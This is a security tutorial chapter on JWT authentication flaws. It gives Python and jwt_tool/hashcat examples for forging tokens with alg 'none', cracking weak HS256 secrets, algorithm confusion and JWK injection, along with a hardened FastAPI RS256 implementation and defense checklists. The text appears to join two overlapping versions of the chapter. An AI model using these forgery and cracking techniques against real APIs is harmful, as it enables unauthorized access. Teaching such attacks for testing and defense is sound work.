JWT Security Vulnerabilities
Why JWT Security Matters
JSON Web Tokens (JWT) have become the de facto standard for API authentication. Every major platform — Google, Auth0, Firebase, AWS Cognito — relies on JWTs to verify user identity. But here is the catch: JWT is notoriously easy to implement incorrectly.
A single misconfiguration — forgetting to verify the signature, accepting the "none" algorithm, or using a weak secret — can completely compromise your API. According to the OWASP API Security Top 10, broken authentication is the second most critical API risk.
Why this matters for your career:
- JWT vulnerabilities are among the most common findings in bug bounty programs
- Every API pentest includes JWT assessment
- Understanding JWT internals helps you build secure authentication from scratch
- Exploiting JWT flaws is a core skill for both red and blue teams
What Is JWT and How Does It Work?
A JWT is a three-part token separated by dots:
header.payload.signature
The Three Parts
| Part | Content | Example |
|:-----|:--------|:--------|
| Header | Algorithm and token type | {"alg": "HS256", "typ": "JWT"} |
| Payload | Claims (user data, expiration) | {"user_id": 1, "role": "admin", "exp": 1700000000} |
| Signature | Cryptographically signed verification | Ensures the token has not been tampered with |
Symmetric vs. Asymmetric Signing
| Feature | HS256 (Symmetric) | RS256 (Asymmetric) | |:--------|:-----------------|:-------------------| | Key used | Single shared secret | Private key signs, public key verifies | | Key distribution | Must share secret securely | Public key is freely shareable | | Security risk | Secret must be kept secret on both sides | Only the signer holds the private key | | Performance | Faster (simple HMAC) | Slower (asymmetric crypto) | | Rotation difficulty | Hard (must update all services) | Easy (rotate private key, keep public key) | | Recommendation | Internal services only | Production APIs, microservices |
How JWT Attacks Work
Attack 1: The "None" Algorithm Vulnerability
Some JWT libraries accept a header with "alg": "none", meaning no signature is required. An attacker can simply remove the signature portion and set the algorithm to "none."
import jwt
import base64
import json
# Original token (HS256 signed)
# Original: eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxfQ.signature
# Attacker modifies header to use "none" algorithm
header = {"alg": "none", "typ": "JWT"}
payload = {"user_id": 1, "role": "admin"}
# Encode without a signature
def b64_encode(data):
return base64.urlsafe_b64encode(json.dumps(data).encode()).rstrip(b"=").decode()
forged_token = f"{b64_encode(header)}.{b64_encode(payload)}."
print(f"Forged token: {forged_token}")
# Vulnerable library accepts this!
# jwt.decode(forged_token, options={"verify_signature": False}) # ❌ Never do this
Attack 2: Weak Secret Brute Force
When using HS256, the security depends entirely on the strength of the secret. Weak secrets like "secret," "password," or "jwt_secret" can be cracked in seconds.
import jwt
from concurrent.futures import ThreadPoolExecutor
# Target token with unknown secret
token = "eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxfQ.tXhVPWNhGx7QxVJv..."
# Common weak secrets to test
common_secrets = [
"secret", "password", "123456", "key", "jwt_secret",
"change_me", "test", "admin", "1234", "qwerty",
"letmein", "welcome", "monkey", "dragon", "abc123"
]
def try_secret(secret):
"""Try to decode a JWT with a given secret."""
try:
payload = jwt.decode(token, secret, algorithms=["HS256"])
return secret, payload
except jwt.InvalidSignatureError:
return None
except Exception:
return None
# Try all secrets in parallel
with ThreadPoolExecutor(max_workers=5) as executor:
results = executor.map(try_secret, common_secrets)
for result in results:
if result:
secret, payload = result
print(f"[!] Secret cracked: '{secret}'")
print(f"[!] Payload: {payload}")
break
else:
print("[-] Secret not found in common wordlist")
Attack 3: RS256 Public Key Misuse
If the server uses RS256 but exposes its public key, an attacker can sign tokens using the public key if the server mistakenly accepts HS256:
# Algorithm confusion attack
# 1. Server uses RS256 with a PUBLIC key available via /.well-known/jwks.json
# 2. Attacker obtains the public key
# 3. Attacker creates a new JWT with alg: HS256
# 4. Attacker signs it using the PUBLIC key as the HMAC secret
# 5. Server accepts it because it tries HS256 with the same public key string
# Why this works:
# - For RS256: public_key.verify(signature, data) → True
# - For HS256: hmac.new(public_key, data).digest() == signature → True if attacker used public_key as secret
Building a Secure JWT Authentication Middleware
Here is a production-grade JWT implementation using FastAPI with RS256:
from fastapi import FastAPI, Depends, HTTPException, status
from fastapi.security import HTTPBearer
import jwt
import time
from typing import Optional
app = FastAPI()
security = HTTPBearer(auto_error=False)
# --- Configuration ---
# In production, load these from environment variables or a secrets manager
PRIVATE_KEY_PATH = "/etc/secrets/jwt-private.pem"
PUBLIC_KEY_PATH = "/etc/secrets/jwt-public.pem"
with open(PRIVATE_KEY_PATH, "r") as f:
PRIVATE_KEY = f.read()
with open(PUBLIC_KEY_PATH, "r") as f:
PUBLIC_KEY = f.read()
ACCESS_TOKEN_EXPIRE = 3600 # 1 hour
REFRESH_TOKEN_EXPIRE = 2592000 # 30 days
def create_access_token(user_id: int, role: str = "user") -> str:
"""Create a short-lived JWT access token."""
now = int(time.time())
payload = {
"user_id": user_id,
"role": role,
"type": "access",
"iat": now, # Issued at
"exp": now + ACCESS_TOKEN_EXPIRE, # Expiration
"iss": "my-api", # Issuer
"aud": "my-app" # Audience
}
return jwt.encode(payload, PRIVATE_KEY, algorithm="RS256")
def create_refresh_token(user_id: int) -> str:
"""Create a long-lived refresh token."""
now = int(time.time())
payload = {
"user_id": user_id,
"type": "refresh",
"iat": now,
"exp": now + REFRESH_TOKEN_EXPIRE,
"iss": "my-api",
"aud": "my-app"
}
return jwt.encode(payload, PRIVATE_KEY, algorithm="RS256")
def verify_token(credentials=Depends(security)) -> dict:
"""
Dependency: Verify JWT token and return payload.
Raises 401 if token is invalid or expired.
"""
if credentials is None:
raise HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
detail="Authorization header required"
)
token = credentials.credentials
try:
payload = jwt.decode(
token,
PUBLIC_KEY,
algorithms=["RS256"], # Explicitly restrict to RS256 only
issuer="my-api",
audience="my-app",
options={
"require": ["exp", "iat", "iss", "aud"],
"verify_exp": True
}
)
return payload
except jwt.ExpiredSignatureError:
raise HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
detail="Token has expired"
)
except jwt.InvalidTokenError as e:
raise HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
detail=f"Invalid token: {str(e)}"
)
def require_admin(payload: dict = Depends(verify_token)) -> dict:
"""Dependency: Ensure the user has admin role."""
if payload.get("role") != "admin":
raise HTTPException(
status_code=status.HTTP_403_FORBIDDEN,
detail="Admin access required"
)
return payload
@app.post("/auth/login")
def login(username: str, password: str):
"""Authenticate user and return tokens."""
# In production, verify credentials against database
if username == "admin" and password == "secure_password":
access_token = create_access_token(user_id=1, role="admin")
refresh_token = create_refresh_token(user_id=1)
return {
"access_token": access_token,
"refresh_token": refresh_token,
"token_type": "bearer",
"expires_in": ACCESS_TOKEN_EXPIRE
}
raise HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
detail="Invalid credentials"
)
@app.post("/auth/refresh")
def refresh_token(refresh_token: str):
"""Issue a new access token using a valid refresh token."""
try:
payload = jwt.decode(
refresh_token,
PUBLIC_KEY,
algorithms=["RS256"],
options={"require": ["exp", "type"]}
)
if payload.get("type") != "refresh":
raise HTTPException(401, "Invalid token type")
new_access = create_access_token(
user_id=payload["user_id"],
role=payload.get("role", "user")
)
return {"access_token": new_access, "expires_in": ACCESS_TOKEN_EXPIRE}
except jwt.InvalidTokenError:
raise HTTPException(401, "Invalid refresh token")
@app.get("/me")
def get_current_user(payload: dict = Depends(verify_token)):
"""Return current user info from JWT."""
return {
"user_id": payload["user_id"],
"role": payload["role"],
"token_type": payload["type"]
}
@app.get("/admin/users")
def list_users(_: dict = Depends(require_admin)):
"""Admin-only endpoint protected by role check."""
return {"users": [{"id": 1, "name": "Alice"}, {"id": 2, "name": "Bob"}]}
JWT Security Checklist
| Check | Why It Matters | How to Test |
|:------|:---------------|:------------|
| Reject alg: none | Attackers can forge tokens | Modify header to "alg":"none" and send |
| Restrict allowed algorithms | Prevents algorithm confusion | Only accept ["RS256"] not ["RS256", "HS256"] |
| Verify exp claim | Prevents replay of expired tokens | Use a token past its expiration date |
| Verify iss and aud | Prevents token reuse across services | Use a token from another service |
| Use strong secrets (HS256) | Prevents brute force cracking | Try common wordlists against the token |
| Rotate keys regularly | Limits damage if key is compromised | Check key age in logs |
| Store tokens securely (httpOnly cookies) | Prevents XSS token theft | Check if token is in localStorage |
| Use short expiration (15-60 min) | Limits window of compromise | Check the exp value |
| Implement refresh token rotation | Invalidates stolen refresh tokens | Reuse a refresh token twice |
| Rate limit auth endpoints | Prevents brute force attacks | Send 100 login requests in 10 seconds |
Common Pitfalls
| Mistake | Why It Is Dangerous | Fix |
|:--------|:-------------------|:----|
| Storing JWT in localStorage | Vulnerable to XSS — any script can read it | Use httpOnly secure cookies |
| Not validating exp | Stolen tokens work forever | Always check expiration server-side |
| Using HS256 with a weak secret | Secret can be brute-forced | Use RS256 or a 256+ bit random secret |
| Accepting multiple algorithms | Algorithm confusion attack | Whitelist exactly one algorithm |
| Logging JWT tokens | Secrets and tokens leak in log files | Mask or truncate tokens in logs |
| No refresh token rotation | Stolen refresh token never expires | Invalidate old refresh tokens on use |
Summary
JWT is a powerful authentication mechanism, but its security depends entirely on correct implementation. You have learned:
- What JWT is: A three-part token (header, payload, signature) for stateless authentication
- Why JWT vulnerabilities matter: A single misconfiguration can compromise your entire API
- How to attack JWT: None algorithm, weak secret brute force, algorithm confusion, KID injection
- How to defend: Use RS256, restrict algorithms, validate all claims, short expiration, secure storage
What Is Next: SQL/NoSQL Injection
Now that you understand authentication attacks, the next chapter shifts to injection attacks — where attackers bypass authentication entirely and speak directly to the database through unsanitized inputs. You will learn how SQL and NoSQL injections work, how to exploit them, and most importantly, how to prevent them with parameterized queries and input validation.
JWT Structure Recap
JWT consists of three parts: header.payload.signature
Header: {"alg": "HS256", "typ": "JWT"}
Payload: {"sub": "123", "name": "Alice", "role": "user", "iat": 1700000000, "exp": 1700086400}
Signature: HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)
Common JWT Attacks
1. None Algorithm Attack
Set the algorithm to "none" to bypass signature verification.
import jwt
# Forge a token with alg=none
forged = jwt.encode(
{"sub": "admin", "role": "admin"},
"", # No key needed
algorithm="none"
)
print(f"None algorithm token: {forged}")
# Some libraries still accept this!
# Fixed in PyJWT >= 2.0, but many servers use outdated libs
# Using jwt_tool to test for none algorithm
jwt_tool eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.dozjgNqP3sV8L9P3sV8L9P3sV8L9P3sV8L9P3sV8
jwt_tool -X a token.txt # Test none algorithm
2. Weak Secret Cracking
If the HMAC secret is weak, it can be cracked offline.
# Using jwt_tool with rockyou
jwt_tool -C -d /usr/share/wordlists/rockyou.txt token.txt
# Using hashcat
hashcat -m 16500 -a 0 jwt.txt /usr/share/wordlists/rockyou.txt
3. Algorithm Confusion
Switch RS256 (asymmetric) to HS256 (symmetric) using the public key as the secret.
import jwt
# Get the server's RSA public key (often available)
public_key = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...
-----END PUBLIC KEY-----"""
# Create a HS256 token using the public key as secret
forged = jwt.encode(
{"sub": "admin", "role": "admin"},
public_key,
algorithm="HS256"
)
# If the server accepts HS256 with the same key, this works!
print(f"Algorithm confusion token: {forged}")
4. JWK Injection
Some libraries accept a jwk header containing the attacker's public key.
{
"alg": "RS256",
"typ": "JWT",
"jwk": {
"kty": "RSA",
"n": "0vx7agoebGcQSuu...",
"e": "AQAB"
}
}
5. Payload Tampering
If the server doesn't verify signature properly (e.g., accepts expired tokens):
# Tamper payload with jwt_tool
jwt_tool -I -pc username -pv admin token.txt
Prevention
| Attack | Prevention |
|--------|------------|
| None algorithm | Explicitly reject "none" algorithm |
| Weak secret | Use 256+ bit random secret |
| Algorithm confusion | Specify allowed algorithms, never use variable alg |
| JWK injection | Disable JWK header parsing |
| Expired token | Always verify exp claim |
| Token theft | Short expiry, refresh tokens, httpOnly cookies |
# Secure JWT verification
from jose import jwt, JWTError, ExpiredSignatureError
SECRET_KEY = "a-very-long-random-secret-256-bits-minimum"
ALGORITHMS = ["HS256"] # Explicitly specify, never read from token
def verify_jwt(token: str) -> dict:
try:
payload = jwt.decode(
token,
SECRET_KEY,
algorithms=ALGORITHMS, # Hardcoded, not from token
options={
"require_exp": True,
"verify_exp": True,
"require_sub": True
}
)
return payload
except ExpiredSignatureError:
raise HTTPException(401, "Token expired")
except JWTError:
raise HTTPException(401, "Invalid token")
Summary
JWT attacks exploit algorithm confusion, weak secrets, and insecure library defaults. Prevention requires careful configuration and explicit algorithm whitelisting.
Key takeaways: | None algorithm: set alg=none to bypass signature — reject "none" explicitly | | Weak secret: crack HMAC secret offline with hashcat — use 256-bit random | | Algorithm confusion: RS256→HS256 with public key as secret — hardcode allowed algorithms | | JWK injection: attacker provides their own public key — disable jwk header | | Always verify exp, nbf, iss, aud claims | | Hardcode accepted algorithms, never read from token header | | Use short token expiry (15-30 min) with refresh tokens |
Next Chapter: IDOR
The next chapter covers Insecure Direct Object Reference.